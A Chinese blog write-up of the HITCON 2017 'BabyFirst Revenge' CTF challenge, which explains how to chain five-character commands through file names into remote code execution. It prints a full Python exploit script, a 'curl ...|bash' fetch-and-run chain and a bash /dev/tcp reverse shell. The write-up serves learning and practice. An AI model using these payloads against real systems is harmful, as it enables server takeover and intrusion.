[hitcon2017] BabyFirst Revenge復現

hitcon的題好難啊!!!!!
還是太菜了。。Orz
只能夠賽后搭環境復現了。。
分享本題自制Dockerfile:Github

這題是一個特別的命令執行題, 首先進去首頁之后發現以下源碼

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

無論我們傳什么進去他都會照單執行,但是每次的長度限制為最多5個字符,正常來說最短(?)的寫shell方式應該是

echo x>>1
....
sh 1

但是其實我們可以利用ls來寫shell,如下:

>a
ls>_
sh _  #也就執行了a指令 但是沒有意義,所以我們就要構造一系列的指令出來追加到文件里

那么這里就涉及到幾個問題:

  1. ls出來是按照什么順序排列的文件?
  2. 追加文件的時候會自動加入換行 這個問題要怎么解決?
  3. 如果ls途中有無用的文件怎么辦? 因為如果是以上的做法的話其實cat _你會發現里面還有一個_文件

答案:

  1. ls -l的默認排序方式手冊上寫了是alphabetically(字典序)也就是說有可能后面加入的文件名排在前面,為了避免這個問題我們可以加入-t參數來使ls之后的結果按照最近修改的文件在前面的方式排列
  2. linux的命令執行中支持命令換行 需要用到反斜杠\ 寫到最后面,如:
    ??
  3. 其實bash在執行腳本的時候遇到未知的命令會報錯 但是這并不會使之退出,bash會繼續執行下一行的命令,如圖
    ??

那到這里思路其實已經挺清晰的了, 就是通過寫入一系列指令的分段,并用反斜杠\作為文件結尾,最后執行ls -t>g并且sh g來執行我們想要的指令,這里以執行反彈shell為例:

curl 10.188.2.20|bash

我的10.188.2.20/index.html文件內容為:

bash -i >& /dev/tcp/10.188.2.20/12345 0>&1
  • 寫入 ls -t>g指令到_文件
?cmd=>ls\\    #創建ls\
?cmd=ls>_    #創建 _ 文件 文件內容為_ \n ls\ \n
?cmd=>\ \\    #創建 \空格 文件
?cmd=>-t\\    #創建 -t\ 文件
?cmd=>\>g    #創建 >g 文件
?cmd=ls>>_   #將剛剛創建的文件名按照字典序寫入_文件 這里的字典序是特殊符號在ls\的前面 所以在生成ls\之后我們要先ls>_ 保證ls\在最前面

最后生成的_文件結果如圖:


_ 文件

最后我們需要生成我們自己的命令的時候直接sh _就可以在g文件里面生成我們想要的命令了 然后再sh g就可以rce了

比如我要執行 curl 10.188.2.20|bash (index.html已經提前放好反彈shell的命令)

因為這是按照時間倒敘ls 所以我要倒著生成我要執行的指令文件,比如orange大大的exp:

import requests
from time import sleep
from urllib import quote

payload = [
    # generate `ls -t>g` file
    '>ls\\', 
    'ls>_', 
    '>\ \\', 
    '>-t\\', 
    '>\>g', 
    'ls>>_', 

    # generate `curl orange.tw.tw|python`
    # generate `curl 10.188.2.20|bash` 
    '>sh\ ', 
    '>ba\\', 
    '>\|\\',
    '>20\\',
    '>2.\\', 
    '>8.\\',
    '>18\\', 
    '>0.\\', 
    '>1\\', 
    '>\ \\', 
    '>rl\\', 
    '>cu\\', 

    # exec
    'sh _', 
    'sh g', 
]



r = requests.get('http://10.188.2.20:22460/?reset=1')
for i in payload:
    assert len(i) <= 5 
    r = requests.get('http://10.188.2.20:22460/?cmd=' + quote(i) )
    print i
    sleep(0.2)

在生成自己的命令時要注意各個命令段之間名字不能相同 因為不能生成兩個帶有相同命令段的文件名

//偷懶偷了好久才復現的。。Orz。。。。批評一下自己的懶惰。。
各位大佬有啥更好的思路歡迎分享

參考:
https://github.com/orangetw/My-CTF-Web-Challenges

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 230,825評論 6 546
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 99,814評論 3 429
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 178,980評論 0 384
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 64,064評論 1 319
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 72,779評論 6 414
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 56,109評論 1 330
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 44,099評論 3 450
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 43,287評論 0 291
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 49,799評論 1 338
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 41,515評論 3 361
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 43,750評論 1 375
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 39,221評論 5 365
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,933評論 3 351
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 35,327評論 0 28
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 36,667評論 1 296
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 52,492評論 3 400
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 48,703評論 2 380